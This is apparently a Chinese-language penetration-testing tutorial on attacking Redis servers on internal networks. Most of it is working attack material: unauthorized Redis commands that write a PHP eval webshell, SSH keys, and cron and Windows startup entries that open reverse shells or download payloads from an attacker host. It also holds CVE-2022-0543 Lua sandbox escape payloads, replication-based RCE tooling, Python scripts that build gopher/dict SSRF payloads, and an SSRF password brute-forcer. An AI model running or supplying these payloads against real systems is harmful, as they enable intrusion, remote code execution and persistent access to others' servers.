0x01 Redis Redis 是一个基于内存存储的高性能key-value数据库,完全开源免费。
本文主要分享内网测试环境中redis的利用姿势。
环境 安装 参考Redis 安装 。
端口 6379
配置 bind配置监听网卡ip。
启动 1 2 redis-server [config file] redis-cli -h 127.0.0.1 -p 6379 
0x02 通过redis未授权写文件 其实就是通过修改 redis 的 dbfilename、dir 配置项。
1. 写WebShell 条件 
目标存在web目录 
知道web绝对路径 
存在对应目录写入权限 
 
利用 redis-cli未授权访问
1 redis-cli -p 6379 -h x.x.x.x 
查看配置
设置数据文件的存储目录为web目录
1 CONFIG SET  dir "/var/html/www" 
设置文件名
1 CONFIG SET  dbfilename ".config.php" 
写web shell
1 set x "\r\n\r\n<?php eval($_POST['ant']); ?>\r\n\r\n" 
保存
2. 写 ssh key 前置条件多,不好利用。
目标开启了ssh密钥登录,存在/etc/.ssh文件,redis要有root权限
ssh第一次连接时要加上 -o StrictHostKeyChecking=no
具体原理是把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接。
先使用ssh-keygen -t rsa生产公钥
需要flushall,不然会写入失败,==真实业务环境中不能使用flushall==。
1 2 3 4 5 flushall set 1 'id_rsa.pub 里的内容' config set dir '/root/.ssh/' config set dbfilename authorized_keys save 
ssh -i /home.kali/.ssh/id_rsa root@192.168.230.138 
连接
3. 写crontabs 常见crontabs 1 2 3 4 /var/spool/cron/username /var/spool/cron/crontabs/username /etc/crontab /etc/cron.d/xxx 
条件 
目标是linux(不适合ubuntu) 
root运行的redis 
 
利用 redis-cli未授权访问
1 redis-cli -p 6379 -h x.x.x.x 
设置数据文件的存储目录为crontabs的目录
1 config set  dir "/var/spool/cron/crontabs" 
设置文件名
1 config set  dbfilename "root" 
写crontabs,以反弹shell为例:
1 echo  -e "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n\n\n" |redis-cli -x set  %
写马
1 echo  -e "\n\n* * * * * wget http://*.*.*.*/shell.txt -O /path_to_www/.congfig.php\n\n" |redis-cli -h x.x.x.x -p 6379 -x set  %
保存
由于redis向任务计划文件里写内容会出现乱码,从而导致语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,ubuntu、debian 则不行
4. Windows写自启动目录 条件 
目标是windows系统 
存在Administrator用户 
 
利用 redis-cli未授权访问
1 redis-cli -p 6379 -h x.x.x.x 
设置数据文件的存储目录为Administrator的开机启动目录
1 config set  dir "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" 
设置文件名
1 config set  dbfilename "shell.bat" 
写批处理脚本
1 set  x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/powercat.ps1'));powercat -c x.x.x.x -p 2333 -e cmd\"\r\n\r\n" 
保存
0x03 反序列化的利用 漏洞环境:https://github.com/iSafeBlue/redis-rce 
1. fastjson反序列化 关注 json 对象是不是数组,第一个元素看起来像不像类名,例如
1 ["com.blue.bean.User",xxx] 
2. jackson反序列化 关注有没有 @type 字段
3. jdk反序列化 首先看 value 是不是 base64,如果是解码后看里面有没有 java 类名
0x04 主从复制RCE 全量复制 执行BGSAVE命令生成RDB文件
从服务器载入快照
增量复制 主服务器每执行一个写命令就会向从服务器发送相同的写命令,从服务器执行。
条件 
redis version 4.x-5.0.5 
存在未授权 
 
利用 1 2 git clone  https://github.com/Ridter/redis-rce.git git clone  https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git 
make编译so文件复制到redis-rce目录下
1 python redis-rce.py -r target-ip -L local-ip -f module.so 
然后反弹shell。
0x05 Lua 沙盒逃逸RCE CVE-2022-0543 仅针对 Debian 及其衍生的 Linux 发行版,上游的 Redis 不受影响。发现者称其为Debian的漏洞。
条件 
目标是基于Debian的Redis实例而非原生版本  
 
利用 1 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 
1 eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0' 
An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives 
0x06 SSRF+redis 如利用gopher协议进行ssrf需要符合RESP协议
1. 定时反弹shell 目标是linux(不适合ubuntu),redis有root权限或写权限
dict exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  urllib2,urllib,binasciiurl = "http://192.168.0.109/ssrf/base/curl_exec.php?url="    target = "dict://192.168.0.119:6379/"    cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"' ,          "config:set:dir:/etc/" ,        "config:set:dbfilename:crontab" ,        "bgsave" ] for  cmd in  cmds:    cmd_encoder = ""      for  single_char in  cmd:                  cmd_encoder += hex (ord (single_char)).replace("0x" ,"" )     cmd_encoder = binascii.a2b_hex(cmd_encoder)     cmd_encoder = urllib.quote(cmd_encoder,'utf-8' )     payload = url + target + cmd_encoder     print  payload     request = urllib2.Request(payload)     response = urllib2.urlopen(request).read() 
gopher exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  urllibprotocol="gopher://"  ip="192.168.230.138"  port="6379"  reverse_ip="192.168.163.132"  reverse_port="2333"  cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n" %(reverse_ip,reverse_port) filename="root"  path="/var/spool/cron"  passwd=""  cmd=["set 1 {}" .format (cron.replace(" " ,"${IFS}" )),      "config set dir {}" .format (path),      "config set dbfilename {}" .format (filename),      "save"       ] if  passwd:    cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_"  def  redis_format (arr ):    CRLF="\r\n"      redis_arr = arr.split(" " )     cmd=""      cmd+="*" +str (len (redis_arr))     for  x in  redis_arr:         cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " )     cmd+=CRLF     return  cmd if  __name__=="__main__" :    for  x in  cmd:         payload += urllib.quote(redis_format(x))     print  payload     print  urllib.quote("二次url编码后的结果:\n"  + payload) 
2. getshell 存在并知道网站目录,redis有root权限或网站目录写权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  urllibprotocol="gopher://"    ip="192.168.230.138"  port="6379"     shell="\n\n<?php phpinfo();?>\n\n"  filename="shell.php"     path="/var"        passwd=""     cmd=["set 1 {}" .format (shell.replace(" " ,"${IFS}" )),      "config set dir {}" .format (path),      "config set dbfilename {}" .format (filename),      "save"       ] if  passwd:    cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_"  def  redis_format (arr ):    CRLF="\r\n"      redis_arr = arr.split(" " )     cmd=""      cmd+="*" +str (len (redis_arr))     for  x in  redis_arr:         cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " )     cmd+=CRLF     return  cmd if  __name__=="__main__" :    for  x in  cmd:         payload += urllib.quote(redis_format(x))     print  payload     print  urllib.quote("二次url编码后的结果:\n"  + payload) 
3. 写ssh公钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  urllibprotocol="gopher://"  ip="192.168.230.138"  port="6379"  sshpublic_key = "\n\nid_rsa.pub 里的内容\n\n"  filename="authorized_keys"  path="/root/.ssh/"  passwd=""  cmd=["flushall" ,      "set 1 {}" .format (sshpublic_key.replace(" " ,"${IFS}" )),      "config set dir {}" .format (path),      "config set dbfilename {}" .format (filename),      "save"       ] if  passwd:    cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_"  def  redis_format (arr ):    CRLF="\r\n"      redis_arr = arr.split(" " )     cmd=""      cmd+="*" +str (len (redis_arr))     for  x in  redis_arr:         cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " )     cmd+=CRLF     return  cmd if  __name__=="__main__" :    for  x in  cmd:         payload += urllib.quote(redis_format(x))     print  payload     print  urllib.quote("二次url编码后的结果:\n"  + payload) 
相关工具 
0x07 REDIS爆破 公网爆破 使用msf的auxiliary/scanner/redis/redis_login模块
内网爆破 结合ssrf爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  requeststarget = "http://x.x.x.x:6666/index.php?url="    rhost = "127.0.0.1"     rport = "6379"  with  open ("passwords.txt" ,"r+" ) as  file:    passwds = file.readlines()     for  passwd in  passwds:         passwd = passwd.strip("\n" )         len_pass = len (passwd)         payload = r"gopher://"  + rhost + ":"  + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524" +str (len_pass)+r"%250d%250a" +passwd+r"%250D%250A%252A1%250D%250A"          url = target+str (payload)         text = requests.get(url).text         if  "OK"  in  text:             print ("[+] 爆破成功 密码为: "  + passwd)             print (text + payload)             break  
参考